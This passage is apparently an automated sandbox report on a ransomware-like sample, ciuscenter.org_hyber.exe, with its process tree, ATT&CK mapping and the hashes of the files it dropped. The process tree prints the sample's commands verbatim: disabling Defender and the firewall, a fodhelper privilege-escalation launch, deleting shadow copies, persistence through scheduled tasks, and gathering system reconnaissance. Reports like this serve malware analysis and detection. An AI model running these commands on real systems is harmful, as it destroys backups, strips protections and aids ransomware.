C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3948
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5344
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5500
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2224
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5324
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:6008 -
C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe"3⤵PID:1508
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:2176
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2908
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6104
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:6120
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4040
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5164
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5160 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5668
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5684 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1144
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3816
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5196
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5664
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5856
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4464
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5172 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:908
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2432
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5536
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3000
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a2b855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1192
-
C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe1⤵PID:2428
-
C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe1⤵PID:5656
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3168
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 69KB
- SHA256 37a1f0c8e8700ceb764c2719384758ca85993e41a32979ec92b6652d028a27a3
- MD5 60fb14ca66ea7fb7b4a15282f6d41d22
- SHA1 aad9d4622ff358512123965fd948b461d15f8c4b
- SHA512 9f2ee2bea3b5fc322ae9abe8f23c49cfdef12a8ac3de3bb1dd6f19f2c48e93f98d8582739b991b659aded7c2bff3b4ee0d3f65df0830fb9dfe098608fe7bf38e
- SSDEEP 1536:43PIB0d9vnV1TBp2tm9GErXzlpa5+IcbdUrvcE/a44V8OI89zReLvj80Cte4:4Nn19p2A/rzLa5+yUI4V8T89zReLvo0c
- TLSH T1D5634A379A23FCC1673F2D80F05439960C853A6B87B466ACFFC50A9A29D5644DF2E49C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 68KB
- SHA256 768ae0fb4cba56c43fe69ecca35067a0092bbe2cd6b50501b8d46e9f813c38c5
- MD5 91854fd5eaa541352a642882cbc9a9c3
- SHA1 b22d3fe4cbbfb05dc2ac616acae170f1d6629154
- SHA512 c98c512b5413710614cc24aa7a2403c4d77258c304894014ec4140b66de6458cbfc2afec088124038a65608114d9a3e3bb50a1855945869046a52c754e7ad32e
- SSDEEP 1536:Y3PIB0d9vnV1TBp2tm9GErXzlpa5+IcbdUrvcE/a44V8OI89zReLvj80CteT:YNn19p2A/rzLa5+yUI4V8T89zReLvo0/
- TLSH T11C633A379A23FCC1673F2D80F05439950C853A6B97B4666CFFC50A9A29E6244DF2E49C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ciuscenter.org_hyber.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05mgt2kc.f0j.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 84086f6a65c3ba195609d120eb20100eadcc2eca13bfc2de478e4c21106b49fb
- MD5 f8e2b2fdb98c428f68dbafe5d33fe850
- SHA1 329a67102bdadebd67367b6c1352e8b5cacbb416
- SHA512 b0cd81a7ef964b19fc83d13e5bb3f89ad75f89651e84dadb2d8389eeb1a83fcc452ac1c33c9e80ce05c2ed80702545d2b317e68562313af19e378964c435dc37
- TLSH T173D0A557754DC5650001627741F38D4CD5E5841837577E618955DD4E31D148585F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 48045b6380959c55cfa38147ca056090ac425d89249d9fd013534a9f636de365
- MD5 c9a684ab56a151e3b9cad9cdf0dff3ee
- SHA1 cb31bbce93323b0ce71a64b56fc0aed35e996e89
- SHA512 8dc69c93d118ba3d12208e6658d4fa5897cdf3eb78e1a119e729521fa2afcf52a0ab88602c7cec0fa59680452daf67ea98073cfc659cc20bf42f342f3f6f1760
- TLSH T10FD0A597754DC5650001627B40F38D4CD6D184183B577E61D955DD0F32D144585F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 51KB
- SHA256 a8a9f30697664b488ba07a8716167b94350c162c2f424b4e15ef59d9552d0710
- MD5 fbf8476865de6c5e32069758ccc065d2
- SHA1 5c1d6ac63bcacf2f89420e484a14a9a818f33b17
- SHA512 59105f73dd0c0072f19aa3f04f7d2db5f0f9c6e654518290bf09f02d5ccaab0bd15dccf8a583f481bd3501d5f9c15e271b2b29a9311b65f6479c2c81cc500398
- SSDEEP 768:eVTtLYhD+7o19oDJLnk5zATSulgSs/lnhaeG7MPLf9jSvB8hE2R:sYhD+YuhnUSgL/GuljS587R
- TLSH T13233084837ED4112E5BF4EBE95B190529332F463DD22DB8E0AD8459E09E3B44CC68B6B
- MD5 SHA1 SHA512 SSDEEP TLSH